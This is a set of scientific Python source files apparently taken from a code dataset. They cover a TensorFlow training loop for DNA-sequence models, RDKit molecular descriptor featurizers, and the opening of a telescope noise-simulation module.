keep_prob2=keep_prob2,
keep_prob3=keep_prob3,
data_length=data_length,
max_to_keep=max_to_keep)
sess.run(tf.global_variables_initializer())
saver=model.saver
if mode=='retrain':
saver.restore(sess, pretrained_dir)
train_accuracy_record=[]
loss_val_record=[]
total_learing=[]
loop_num=div_roundup(queue_len, len(f_srt))
BREAK=False
prev_ac=None
test_step=[]
CHECK_TEST_FR=False
for i in range(loop_num):
if BREAK:
print("breaking the train loop")
break
input_files=f_srt[i*queue_len:(i+1)*queue_len]
image_list, label_list=batch_queuing(input_files, batch_size, data_length)
for k in range(len(image_list)):
start_tmp=time.time()
a=np.shape(image_list[k])
#print a
if len(a)==4:
train_accuracy_,loss_val= sess.run([model.error,
model.cost],
feed_dict=
{x_image: image_list[k],
y_: label_list[k],
keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,
phase: False})
else:
batch=image_list[k][0],label_list[k][0],image_list[k][1],label_list[k][1]
#print(len(batch))
#batch = next_batch(i,input_files, batch_size, data_length)
train_accuracy_,loss_val= sess.run([model.error, model.cost], feed_dict={x_image: np.concatenate((batch[2],batch[0])),
y_: np.concatenate((batch[3],batch[1])),
keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,
phase: False})
"""train_accuracy_,loss_val= sess.run([model.error, model.cost], feed_dict={x_image:batch[2],
y_: batch[3],
keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,
phase: False})"""
FPR_list, TPR_list, PPV_list=train_accuracy_
#print np.nansum(PPV_list)
curr_accu=float(np.round(np.nanmean(2*np.array(TPR_list)*np.array(PPV_list)/(0.0000001+np.array(PPV_list)+np.array(TPR_list))),4))
sys.stdout.write("\r"+"step "+str(i*queue_len+k)
+", cost: "+str(loss_val)
+", train_accuracy: "
+str(list([curr_accu]))+", "+str(time.time()-start_tmp))
sys.stdout.flush()
#train_accuracy_record.append(TPR_list[0]-FPR_list[0])
train_accuracy_record.append(curr_accu)
loss_val_record.append(loss_val)
total_learing.append((i*queue_len+k)*batch_size/1000.0)
if i*queue_len+k>=2:
#temporal_accuracy=train_accuracy_record[i*queue_len+k]+train_accuracy_record[i*queue_len+k-1]+train_accuracy_record[i*queue_len+k-2]
temporal_accuracy=np.round((train_accuracy_record[i*queue_len+k]+train_accuracy_record[i*queue_len+k-1]+train_accuracy_record[i*queue_len+k-2])/3.0,4)
if len(test_step)>1:
CHECK_TEST_FR=((i*queue_len+k-test_step[-1])>1000)
CHECK_ACCU=(temporal_accuracy>=TEST_THRESHHOLD)
if CHECK_ACCU or CHECK_TEST_FR:
test_step.append(i*queue_len+k)
if len(test_step)>10:
e, f=test_step[-1],test_step[-10]
if e-f<=40:
TEST_THRESHHOLD+=0.10
print("\n"+str(TEST_THRESHHOLD))
if TEST_THRESHHOLD>0.9800:
TEST_THRESHHOLD=0.9800
if CHECK_TEST_FR:
TEST_THRESHHOLD-=0.02
#TEST_THRESHHOLD=temporal_accuracy-0.005
t_batch = test_batch(input_dir,output_dir,test_batch_num,batch_size, data_length)
f1_list=[]
for o in range(3):
ta=sess.run(model.error, feed_dict={x_image: t_batch[o*2], y_: t_batch[o*2+1], keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,phase:False})
FPR_list, TPR_list, PPV_list=ta
f1=float(np.round(np.nanmean(2*np.array(TPR_list)*np.array(PPV_list)/(0.0000001+np.array(PPV_list)+np.array(TPR_list))),4))
f1_list.append(f1)
mean_ac=np.round(np.nanmean(f1_list),4)
to_print=("\nThis is tests for the model at the train step: "+str(i*queue_len+k)+"\n"
+"mean accuracy : "+str(mean_ac)
+"\n Total time "+ str(time.time()-start))
print(to_print)
if (prev_ac==None and mean_ac>=SAVE_THRESHHOLD) or (prev_ac!=None and mean_ac>=prev_ac):
flog=open(str(output_dir)+str(start_at)+'.log', 'a')
flog.write("This is tests for the model at the train step: "+str(i*queue_len+k)+"\nThe average of TPR+PPV: "+str(mean_ac)+'\n')
flog.close()
saver.save(sess, str(output_dir)+str(model_name)+"_"+str(start_at)+'_step'+str(i*queue_len+k)+'.ckpt', global_step=i*queue_len+k)
prev_ac=mean_ac
if mean_ac>=0.999:
BREAK=True
break
#sess.run(model.optimize, feed_dict={x_image: np.concatenate((batch[2],batch[0])),y_: np.concatenate((batch[3],batch[1])), keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
if len(a)==4:
sess.run(model.optimize, feed_dict={x_image: image_list[k], y_:label_list[k], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
else:
sess.run(model.optimize, feed_dict={x_image: batch[2], y_: batch[3], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
sess.run(model.optimize, feed_dict={x_image: batch[0], y_: batch[1], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
sess.run(model.optimize, feed_dict={x_image: batch[2], y_: batch[3], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
sess.run(model.optimize, feed_dict={x_image: batch[0], y_: batch[1], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
if (i*queue_len+k)==loop_num_: # or (i*queue_len+k) >= max_train:
BREAK=True
break
saver.save(sess, str(output_dir)+str(model_name)+"_"+str(start_at)+".ckpt", global_step=i*queue_len+k)
t_batch = test_batch(input_dir,output_dir,test_batch_num,batch_size, data_length)
f1_list=[]
for o in range(3):
ta=sess.run(model.error, feed_dict={x_image: t_batch[o*2], y_: t_batch[o*2+1], keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,phase:False})
FPR_list, TPR_list, PPV_list=ta
f1=float(np.round(np.nanmean(2*np.array(TPR_list)*np.array(PPV_list)/(0.0000001+np.array(PPV_list)+np.array(TPR_list))),4))
print(f1)
f1_list.append(f1)
current_variable={}
all_tv=tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)
for v in all_tv:
value=sess.run(v)
scope=v.name
current_variable[scope]=value
all_lv=tf.get_collection(tf.GraphKeys.LOCAL_VARIABLES)
local_variable={}
for v in all_lv:
value=sess.run(v)
scope=v.name
print(scope)
local_variable[scope]=value
all_=tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)
np.savez(str(output_dir)+str(model_name)+'_trained_variables_'+str(start_at)+'.npz', **current_variable)
np.savez(str(output_dir)+str(model_name)+'_local_variables_'+str(start_at)+'.npz', **local_variable)
mean_ac=np.round(np.nanmean(f1_list),4)
running_time=time.time()-start
import datetime
if args is not None:
_args=args
else:
_args=sys.argv
to_print=("dropout parameters: "+str(dropout_1)+", "+str(dropout_2)+", "+str(dropout_3)+"\n"
+"input directory: "+str(input_dir)+"\n"
+"The average of TPR+PPV: "+str(np.round(mean_ac,2))
+"\nTotal time "+ str(datetime.timedelta(seconds=running_time))
+"\nThe model is "+str(model_name)
+"\nArguments are "+str(sys.argv[1:])
+"\nGlobal variables: "+str(all_))
sess.close()
print(to_print)
flog=open(str(output_dir)+str(start_at)+'.log', 'a')
flog.write(to_print+'\n')
flog.close()
fit=np.polyfit(total_learing, train_accuracy_record, 1)
fit_fn=np.poly1d(fit)
plt.figure(1)
ax1=plt.subplot(211)
plt.title('Train accuracy')
plt.plot(total_learing, train_accuracy_record, 'c.', total_learing, fit_fn(total_learing), 'm-')
ax1.grid(True)
x1,x2,y1,y2 = plt.axis()
plt.axis((x1,x2,y1,1.0))
plt.figure(1)
plt.subplot(212)
plt.title('Cost')
plt.plot(total_learing,loss_val_record, '-')
x1,x2,y1,y2 = plt.axis()
plt.axis((x1,x2,0,1.0))
plt.savefig(str(output_dir)+'plot_'+str(start_at)+'.pdf', format='pdf')
np.savez_compressed(str(output_dir)+str(model_name)+"_"+str(start_at)+'_train_rec',total_learing=total_learing, train_accuracy_record=train_accuracy_record,loss_val_record=loss_val_record)
plt.show()
if __name__ == '__main__':
main()
| 40.803653 | 214 | 0.554275 | import tensorflow as tf
import sys
import numpy as np
import time
import glob
from natsort import natsorted
import getopt
import importlib as il
import matplotlib.pyplot as plt
def next_batch(loop, input_dir, batch_size, data_length):
f = glob.glob(str(input_dir)+"*")
f_srt=natsorted(f)
with np.load(str(f_srt[loop])) as f1:
try:
dnase_data_labels=f1['labels'], f1['data_array']
except EOFError:
print("cannot load: "+str(f_srt[loop]))
images=np.reshape(dnase_data_labels[1], (batch_size, data_length, 4, 1))
labels=dnase_data_labels[0]
halfimages=np.vsplit(images, 2)
halflabels=np.vsplit(labels, 2)
return halfimages[0], halflabels[0], halfimages[1], halflabels[1]
def process(f,half_batch,data_length):
with np.load(f) as f1:
try:
dnase_data_labels=f1['labels'], f1['data_array']
except EOFError:
print("cannot load: "+str(f))
shape=dnase_data_labels[1].shape
images=np.reshape(dnase_data_labels[1], (shape[0], data_length, 4, 1))
labels=dnase_data_labels[0]
if shape[0]>half_batch:
halfimages=images[:half_batch] , images[half_batch:]
halflabels=labels[:half_batch], labels[half_batch:]
else:
halfimages=images
halflabels=labels
return halfimages, halflabels
def process2(f,data_length):
with np.load(f) as f1:
try:
dnase_data_labels=f1['labels'], f1['data_array']
except EOFError:
print("cannot load: "+str(f))
shape=dnase_data_labels[1].shape
images=np.reshape(dnase_data_labels[1], (shape[0], data_length, 4, 1))
labels=dnase_data_labels[0]
return images, labels
def batch_queuing(file_list, batch_size, data_length):
with tf.device('/cpu:0'):
half_batch=batch_size/2
image_list=[]
label_list=[]
for f in file_list:
halfimages, halflabels=process(f,half_batch,data_length)
image_list.append(halfimages)
label_list.append(halflabels)
return image_list, label_list
def batch_queuing2(file_list, batch_size, data_length):
with tf.device('/cpu:0'):
image_list=[]
label_list=[]
for f in file_list:
images, labels=process2(f,data_length)
image_list.append(images)
label_list.append(labels)
return image_list, label_list
def softmax(w, t = 1.0):
npa = np.array
e = np.exp(npa(w) / t)
dist = e /np.stack((np.sum(e, axis=1),np.sum(e, axis=1)),axis=-1)
return dist
def test_batch(input_dir,output_dir,test_batch_num,batch_size, data_length):
f = glob.glob(str(input_dir))
f_srt=natsorted(f, key=lambda y: y.lower())
test_dir=output_dir.replace('output/', '')
data_list=[]
labels_list=[]
for i in range(3):
a=np.load(f_srt[int(test_batch_num)+i])
label_=a['labels'],
data_=a['data_array']
data_shape=np.shape(data_)
label_shape=np.shape(label_)
data_list.append(np.reshape(data_, (data_shape[0], data_length, 4, 1)))
labels_list.append(np.reshape(label_,(-1,label_shape[-1])))
return data_list[0], labels_list[0], data_list[1], labels_list[1], data_list[2], labels_list[2]
def div_roundup(x, y):
if y%x==0:
return y/x
else:
return y/x+1
def run(args):
main(args)
def main(args=None):
start=time.time()
a=time.asctime()
b=a.replace(':', '')
start_at=b.replace(' ', '_')
mode="train"
loop_num_=None
test_batch_num=None
max_to_keep=2
TEST_THRESHHOLD=0.75
SAVE_THRESHHOLD=0
dropout_1=1.00
dropout_2=0.80
dropout_3=0.50
queue_len=5000
if args!=None:
mode=args.mode
loop_num_=args.loop_number
test_batch_num=args.test_batch_number
max_to_keep=args.max_to_keep
input_dir=args.in_directory
model_name=args.model
pretrained_dir=args.ckpt_file
output_dir=args.out_directory
else:
try:
options, args =getopt.getopt(sys.argv[1:], 'm:i:n:b:o:c:p:', ['mode=', 'in_dir=', 'loop_num=', 'test_batch_num=', 'out_dir=','network_constructor=','pretrained_model='])
except getopt.GetoptError as err:
print(str(err))
sys.exit(2)
if len(options)<3:
print('too few argument')
sys.exit(0)
for opt, arg in options:
if opt in ('-m', '--mode'):
mode=arg
elif opt in ('-i', '--in_dir'):
input_dir=arg
elif opt in ('-n', '--loop_num'):
loop_num_=int(arg)
elif opt in ('-b', '--test_batch_num'):
test_batch_num=int(arg)
elif opt in ('-o', '--out_dir'):
output_dir=arg
elif opt in ('-c', '--network_constructor'):
model_name=arg
elif opt in ('-p', '--pretrained_model'):
pretrained_dir=arg
if input_dir.endswith("/"):
input_dir=str(input_dir)+"*.npz"
elif input_dir.endswith("*") or input_dir.endswith(".npz"):
pass
else:
input_dir=str(input_dir)+"/*.npz"
f = glob.glob(input_dir)
if len(f)==0:
print("can't open input files, no such a directory")
sys.exit(0)
f_srt=natsorted(f)
if loop_num_==None:
loop_num_=len(f_srt)-5
if test_batch_num==None:
test_batch_num=loop_num_+1
with np.load(str(f_srt[0])) as f:
labels=f['labels']
_data=f['data_array']
batch_size, label_dim=labels.shape
_, data_length, _2=_data.shape
print(batch_size, label_dim)
config = tf.ConfigProto(device_count = {'GPU': 2})
config.gpu_options.allow_growth=True
#config.graph_options.optimizer_options.global_jit_level = tf.OptimizerOptions.ON_1
sess = tf.Session(config=config)
x_image = tf.placeholder(tf.float32, shape=[None, data_length, 4, 1])
y_ = tf.placeholder(tf.float32, shape=[None, label_dim])
phase=tf.placeholder(tf.bool)
keep_prob = tf.placeholder(tf.float32)
keep_prob2 = tf.placeholder(tf.float32)
keep_prob3 = tf.placeholder(tf.float32)
nc=il.import_module("deepgmap.network_constructors."+str(model_name))
print("running "+str(model_name))
model = nc.Model(image=x_image, label=y_,
output_dir=output_dir,
phase=phase,
start_at=start_at,
keep_prob=keep_prob,
keep_prob2=keep_prob2,
keep_prob3=keep_prob3,
data_length=data_length,
max_to_keep=max_to_keep)
sess.run(tf.global_variables_initializer())
saver=model.saver
if mode=='retrain':
saver.restore(sess, pretrained_dir)
train_accuracy_record=[]
loss_val_record=[]
total_learing=[]
loop_num=div_roundup(queue_len, len(f_srt))
BREAK=False
prev_ac=None
test_step=[]
CHECK_TEST_FR=False
for i in range(loop_num):
if BREAK:
print("breaking the train loop")
break
input_files=f_srt[i*queue_len:(i+1)*queue_len]
image_list, label_list=batch_queuing(input_files, batch_size, data_length)
for k in range(len(image_list)):
start_tmp=time.time()
a=np.shape(image_list[k])
#print a
if len(a)==4:
train_accuracy_,loss_val= sess.run([model.error,
model.cost],
feed_dict=
{x_image: image_list[k],
y_: label_list[k],
keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,
phase: False})
else:
batch=image_list[k][0],label_list[k][0],image_list[k][1],label_list[k][1]
#print(len(batch))
#batch = next_batch(i,input_files, batch_size, data_length)
train_accuracy_,loss_val= sess.run([model.error, model.cost], feed_dict={x_image: np.concatenate((batch[2],batch[0])),
y_: np.concatenate((batch[3],batch[1])),
keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,
phase: False})
"""train_accuracy_,loss_val= sess.run([model.error, model.cost], feed_dict={x_image:batch[2],
y_: batch[3],
keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,
phase: False})"""
FPR_list, TPR_list, PPV_list=train_accuracy_
#print np.nansum(PPV_list)
curr_accu=float(np.round(np.nanmean(2*np.array(TPR_list)*np.array(PPV_list)/(0.0000001+np.array(PPV_list)+np.array(TPR_list))),4))
sys.stdout.write("\r"+"step "+str(i*queue_len+k)
+", cost: "+str(loss_val)
+", train_accuracy: "
+str(list([curr_accu]))+", "+str(time.time()-start_tmp))
sys.stdout.flush()
#train_accuracy_record.append(TPR_list[0]-FPR_list[0])
train_accuracy_record.append(curr_accu)
loss_val_record.append(loss_val)
total_learing.append((i*queue_len+k)*batch_size/1000.0)
if i*queue_len+k>=2:
#temporal_accuracy=train_accuracy_record[i*queue_len+k]+train_accuracy_record[i*queue_len+k-1]+train_accuracy_record[i*queue_len+k-2]
temporal_accuracy=np.round((train_accuracy_record[i*queue_len+k]+train_accuracy_record[i*queue_len+k-1]+train_accuracy_record[i*queue_len+k-2])/3.0,4)
if len(test_step)>1:
CHECK_TEST_FR=((i*queue_len+k-test_step[-1])>1000)
CHECK_ACCU=(temporal_accuracy>=TEST_THRESHHOLD)
if CHECK_ACCU or CHECK_TEST_FR:
test_step.append(i*queue_len+k)
if len(test_step)>10:
e, f=test_step[-1],test_step[-10]
if e-f<=40:
TEST_THRESHHOLD+=0.10
print("\n"+str(TEST_THRESHHOLD))
if TEST_THRESHHOLD>0.9800:
TEST_THRESHHOLD=0.9800
if CHECK_TEST_FR:
TEST_THRESHHOLD-=0.02
#TEST_THRESHHOLD=temporal_accuracy-0.005
t_batch = test_batch(input_dir,output_dir,test_batch_num,batch_size, data_length)
f1_list=[]
for o in range(3):
ta=sess.run(model.error, feed_dict={x_image: t_batch[o*2], y_: t_batch[o*2+1], keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,phase:False})
FPR_list, TPR_list, PPV_list=ta
f1=float(np.round(np.nanmean(2*np.array(TPR_list)*np.array(PPV_list)/(0.0000001+np.array(PPV_list)+np.array(TPR_list))),4))
f1_list.append(f1)
mean_ac=np.round(np.nanmean(f1_list),4)
to_print=("\nThis is tests for the model at the train step: "+str(i*queue_len+k)+"\n"
+"mean accuracy : "+str(mean_ac)
+"\n Total time "+ str(time.time()-start))
print(to_print)
if (prev_ac==None and mean_ac>=SAVE_THRESHHOLD) or (prev_ac!=None and mean_ac>=prev_ac):
flog=open(str(output_dir)+str(start_at)+'.log', 'a')
flog.write("This is tests for the model at the train step: "+str(i*queue_len+k)+"\nThe average of TPR+PPV: "+str(mean_ac)+'\n')
flog.close()
saver.save(sess, str(output_dir)+str(model_name)+"_"+str(start_at)+'_step'+str(i*queue_len+k)+'.ckpt', global_step=i*queue_len+k)
prev_ac=mean_ac
if mean_ac>=0.999:
BREAK=True
break
#sess.run(model.optimize, feed_dict={x_image: np.concatenate((batch[2],batch[0])),y_: np.concatenate((batch[3],batch[1])), keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
if len(a)==4:
sess.run(model.optimize, feed_dict={x_image: image_list[k], y_:label_list[k], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
else:
sess.run(model.optimize, feed_dict={x_image: batch[2], y_: batch[3], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
sess.run(model.optimize, feed_dict={x_image: batch[0], y_: batch[1], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
sess.run(model.optimize, feed_dict={x_image: batch[2], y_: batch[3], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
sess.run(model.optimize, feed_dict={x_image: batch[0], y_: batch[1], keep_prob: dropout_1, keep_prob2: dropout_2, keep_prob3: dropout_3,phase:True})
if (i*queue_len+k)==loop_num_: # or (i*queue_len+k) >= max_train:
BREAK=True
break
saver.save(sess, str(output_dir)+str(model_name)+"_"+str(start_at)+".ckpt", global_step=i*queue_len+k)
t_batch = test_batch(input_dir,output_dir,test_batch_num,batch_size, data_length)
f1_list=[]
for o in range(3):
ta=sess.run(model.error, feed_dict={x_image: t_batch[o*2], y_: t_batch[o*2+1], keep_prob: 1.0, keep_prob2: 1.0, keep_prob3: 1.0,phase:False})
FPR_list, TPR_list, PPV_list=ta
f1=float(np.round(np.nanmean(2*np.array(TPR_list)*np.array(PPV_list)/(0.0000001+np.array(PPV_list)+np.array(TPR_list))),4))
print(f1)
f1_list.append(f1)
current_variable={}
all_tv=tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)
for v in all_tv:
value=sess.run(v)
scope=v.name
current_variable[scope]=value
all_lv=tf.get_collection(tf.GraphKeys.LOCAL_VARIABLES)
local_variable={}
for v in all_lv:
value=sess.run(v)
scope=v.name
print(scope)
local_variable[scope]=value
all_=tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)
np.savez(str(output_dir)+str(model_name)+'_trained_variables_'+str(start_at)+'.npz', **current_variable)
np.savez(str(output_dir)+str(model_name)+'_local_variables_'+str(start_at)+'.npz', **local_variable)
mean_ac=np.round(np.nanmean(f1_list),4)
running_time=time.time()-start
import datetime
if args is not None:
_args=args
else:
_args=sys.argv
to_print=("dropout parameters: "+str(dropout_1)+", "+str(dropout_2)+", "+str(dropout_3)+"\n"
+"input directory: "+str(input_dir)+"\n"
+"The average of TPR+PPV: "+str(np.round(mean_ac,2))
+"\nTotal time "+ str(datetime.timedelta(seconds=running_time))
+"\nThe model is "+str(model_name)
+"\nArguments are "+str(sys.argv[1:])
+"\nGlobal variables: "+str(all_))
sess.close()
print(to_print)
flog=open(str(output_dir)+str(start_at)+'.log', 'a')
flog.write(to_print+'\n')
flog.close()
fit=np.polyfit(total_learing, train_accuracy_record, 1)
fit_fn=np.poly1d(fit)
plt.figure(1)
ax1=plt.subplot(211)
plt.title('Train accuracy')
plt.plot(total_learing, train_accuracy_record, 'c.', total_learing, fit_fn(total_learing), 'm-')
ax1.grid(True)
x1,x2,y1,y2 = plt.axis()
plt.axis((x1,x2,y1,1.0))
plt.figure(1)
plt.subplot(212)
plt.title('Cost')
plt.plot(total_learing,loss_val_record, '-')
x1,x2,y1,y2 = plt.axis()
plt.axis((x1,x2,0,1.0))
plt.savefig(str(output_dir)+'plot_'+str(start_at)+'.pdf', format='pdf')
np.savez_compressed(str(output_dir)+str(model_name)+"_"+str(start_at)+'_train_rec',total_learing=total_learing, train_accuracy_record=train_accuracy_record,loss_val_record=loss_val_record)
plt.show()
if __name__ == '__main__':
main()
| true | true |
f73c42acdca3884de7cc71e59d9089499be74ca8 | 3,313 | py | Python | deepchem/feat/basic.py | ueser/deepchem | bc6494054f6d0c3e147489ac880143c4c0e5b90f | [
"MIT"
] | null | null | null | deepchem/feat/basic.py | ueser/deepchem | bc6494054f6d0c3e147489ac880143c4c0e5b90f | [
"MIT"
] | null | null | null | deepchem/feat/basic.py | ueser/deepchem | bc6494054f6d0c3e147489ac880143c4c0e5b90f | [
"MIT"
] | 1 | 2021-12-10T22:37:54.000Z | 2021-12-10T22:37:54.000Z | """
Basic molecular features.
"""
from __future__ import print_function
from __future__ import division
from __future__ import unicode_literals
__author__ = "Steven Kearnes"
__copyright__ = "Copyright 2014, Stanford University"
__license__ = "LGPL v2.1+"
from rdkit.Chem import Descriptors
from deepchem.feat import Featurizer
class MolecularWeight(Featurizer):
"""
Molecular weight.
"""
name = ['mw', 'molecular_weight']
def _featurize(self, mol):
"""
Calculate molecular weight.
Parameters
----------
mol : RDKit Mol
Molecule.
"""
wt = Descriptors.ExactMolWt(mol)
wt = [wt]
return wt
class RDKitDescriptors(Featurizer):
"""
RDKit descriptors.
See http://rdkit.org/docs/GettingStartedInPython.html
#list-of-available-descriptors.
"""
name = 'descriptors'
# (ytz): This is done to avoid future compatibility issues like inclusion of
# the 3D descriptors or changing the feature size.
allowedDescriptors = set([
'MaxAbsPartialCharge', 'MinPartialCharge', 'MinAbsPartialCharge',
'HeavyAtomMolWt', 'MaxAbsEStateIndex', 'NumRadicalElectrons',
'NumValenceElectrons', 'MinAbsEStateIndex', 'MaxEStateIndex',
'MaxPartialCharge', 'MinEStateIndex', 'ExactMolWt', 'MolWt', 'BalabanJ',
'BertzCT', 'Chi0', 'Chi0n', 'Chi0v', 'Chi1', 'Chi1n', 'Chi1v', 'Chi2n',
'Chi2v', 'Chi3n', 'Chi3v', 'Chi4n', 'Chi4v', 'HallKierAlpha', 'Ipc',
'Kappa1', 'Kappa2', 'Kappa3', 'LabuteASA', 'PEOE_VSA1', 'PEOE_VSA10',
'PEOE_VSA11', 'PEOE_VSA12', 'PEOE_VSA13', 'PEOE_VSA14', 'PEOE_VSA2',
'PEOE_VSA3', 'PEOE_VSA4', 'PEOE_VSA5', 'PEOE_VSA6', 'PEOE_VSA7',
'PEOE_VSA8', 'PEOE_VSA9', 'SMR_VSA1', 'SMR_VSA10', 'SMR_VSA2', 'SMR_VSA3',
'SMR_VSA4', 'SMR_VSA5', 'SMR_VSA6', 'SMR_VSA7', 'SMR_VSA8', 'SMR_VSA9',
'SlogP_VSA1', 'SlogP_VSA10', 'SlogP_VSA11', 'SlogP_VSA12', 'SlogP_VSA2',
'SlogP_VSA3', 'SlogP_VSA4', 'SlogP_VSA5', 'SlogP_VSA6', 'SlogP_VSA7',
'SlogP_VSA8', 'SlogP_VSA9', 'TPSA', 'EState_VSA1', 'EState_VSA10',
'EState_VSA11', 'EState_VSA2', 'EState_VSA3', 'EState_VSA4',
'EState_VSA5', 'EState_VSA6', 'EState_VSA7', 'EState_VSA8', 'EState_VSA9',
'VSA_EState1', 'VSA_EState10', 'VSA_EState2', 'VSA_EState3',
'VSA_EState4', 'VSA_EState5', 'VSA_EState6', 'VSA_EState7', 'VSA_EState8',
'VSA_EState9', 'FractionCSP3', 'HeavyAtomCount', 'NHOHCount', 'NOCount',
'NumAliphaticCarbocycles', 'NumAliphaticHeterocycles',
'NumAliphaticRings', 'NumAromaticCarbocycles', 'NumAromaticHeterocycles',
'NumAromaticRings', 'NumHAcceptors', 'NumHDonors', 'NumHeteroatoms',
'NumRotatableBonds', 'NumSaturatedCarbocycles',
'NumSaturatedHeterocycles', 'NumSaturatedRings', 'RingCount', 'MolLogP',
'MolMR'
])
def __init__(self):
self.descriptors = []
self.descList = []
for descriptor, function in Descriptors.descList:
if descriptor in self.allowedDescriptors:
self.descriptors.append(descriptor)
self.descList.append((descriptor, function))
def _featurize(self, mol):
"""
Calculate RDKit descriptors.
Parameters
----------
mol : RDKit Mol
Molecule.
"""
rval = []
for desc_name, function in self.descList:
rval.append(function(mol))
return rval
| 34.510417 | 80 | 0.670993 | from __future__ import print_function
from __future__ import division
from __future__ import unicode_literals
__author__ = "Steven Kearnes"
__copyright__ = "Copyright 2014, Stanford University"
__license__ = "LGPL v2.1+"
from rdkit.Chem import Descriptors
from deepchem.feat import Featurizer
class MolecularWeight(Featurizer):
name = ['mw', 'molecular_weight']
def _featurize(self, mol):
wt = Descriptors.ExactMolWt(mol)
wt = [wt]
return wt
class RDKitDescriptors(Featurizer):
name = 'descriptors'
allowedDescriptors = set([
'MaxAbsPartialCharge', 'MinPartialCharge', 'MinAbsPartialCharge',
'HeavyAtomMolWt', 'MaxAbsEStateIndex', 'NumRadicalElectrons',
'NumValenceElectrons', 'MinAbsEStateIndex', 'MaxEStateIndex',
'MaxPartialCharge', 'MinEStateIndex', 'ExactMolWt', 'MolWt', 'BalabanJ',
'BertzCT', 'Chi0', 'Chi0n', 'Chi0v', 'Chi1', 'Chi1n', 'Chi1v', 'Chi2n',
'Chi2v', 'Chi3n', 'Chi3v', 'Chi4n', 'Chi4v', 'HallKierAlpha', 'Ipc',
'Kappa1', 'Kappa2', 'Kappa3', 'LabuteASA', 'PEOE_VSA1', 'PEOE_VSA10',
'PEOE_VSA11', 'PEOE_VSA12', 'PEOE_VSA13', 'PEOE_VSA14', 'PEOE_VSA2',
'PEOE_VSA3', 'PEOE_VSA4', 'PEOE_VSA5', 'PEOE_VSA6', 'PEOE_VSA7',
'PEOE_VSA8', 'PEOE_VSA9', 'SMR_VSA1', 'SMR_VSA10', 'SMR_VSA2', 'SMR_VSA3',
'SMR_VSA4', 'SMR_VSA5', 'SMR_VSA6', 'SMR_VSA7', 'SMR_VSA8', 'SMR_VSA9',
'SlogP_VSA1', 'SlogP_VSA10', 'SlogP_VSA11', 'SlogP_VSA12', 'SlogP_VSA2',
'SlogP_VSA3', 'SlogP_VSA4', 'SlogP_VSA5', 'SlogP_VSA6', 'SlogP_VSA7',
'SlogP_VSA8', 'SlogP_VSA9', 'TPSA', 'EState_VSA1', 'EState_VSA10',
'EState_VSA11', 'EState_VSA2', 'EState_VSA3', 'EState_VSA4',
'EState_VSA5', 'EState_VSA6', 'EState_VSA7', 'EState_VSA8', 'EState_VSA9',
'VSA_EState1', 'VSA_EState10', 'VSA_EState2', 'VSA_EState3',
'VSA_EState4', 'VSA_EState5', 'VSA_EState6', 'VSA_EState7', 'VSA_EState8',
'VSA_EState9', 'FractionCSP3', 'HeavyAtomCount', 'NHOHCount', 'NOCount',
'NumAliphaticCarbocycles', 'NumAliphaticHeterocycles',
'NumAliphaticRings', 'NumAromaticCarbocycles', 'NumAromaticHeterocycles',
'NumAromaticRings', 'NumHAcceptors', 'NumHDonors', 'NumHeteroatoms',
'NumRotatableBonds', 'NumSaturatedCarbocycles',
'NumSaturatedHeterocycles', 'NumSaturatedRings', 'RingCount', 'MolLogP',
'MolMR'
])
def __init__(self):
self.descriptors = []
self.descList = []
for descriptor, function in Descriptors.descList:
if descriptor in self.allowedDescriptors:
self.descriptors.append(descriptor)
self.descList.append((descriptor, function))
def _featurize(self, mol):
rval = []
for desc_name, function in self.descList:
rval.append(function(mol))
return rval
| true | true |
f73c4307accf7e35cac4a34ced0f4b72cea8f2c7 | 4,172 | py | Python | sotodlib/utils/pipeline_tools/noise.py | zonca/sotodlib | 0c64e07ab429e7f0c0e95befeedbaca486d3a414 | [
"MIT"
] | null | null | null | sotodlib/utils/pipeline_tools/noise.py | zonca/sotodlib | 0c64e07ab429e7f0c0e95befeedbaca486d3a414 | [
"MIT"
] | null | null | null | sotodlib/utils/pipeline_tools/noise.py | zonca/sotodlib | 0c64e07ab429e7f0c0e95befeedbaca486d3a414 | [
"MIT"
] | null | null | null | # Copyright (c) 2019-2020 Simons Observatory.
# Full license can be found in the top level "LICENSE" file.
import numpy as np
from toast.timing import function_timer, Timer
from toast.tod import AnalyticNoise
from toast.utils import Logger
import toast.qarray as qa
from ...sim_hardware import get_example
def add_so_noise_args(parser):
parser.add_argument(
"--common-mode-noise",
required=False,
help="String defining analytical parameters of a per-tube "
"common mode that is co-added with every detector: "
"'fmin[Hz],fknee[Hz],alpha,NET[K]'",
)
return
@function_timer
def get_elevation_noise(args, comm, data, key="noise"):
""" Insert elevation-dependent noise
"""
timer = Timer()
timer.start()
# fsample = args.sample_rate
for obs in data.obs:
tod = obs["tod"]
fp = obs["focalplane"]
noise = obs[key]
for det in tod.local_dets:
if det not in noise.keys:
raise RuntimeError(
'Detector "{}" does not have a PSD in the noise object'.format(det)
)
A = fp[det]["A"]
C = fp[det]["C"]
psd = noise.psd(det)
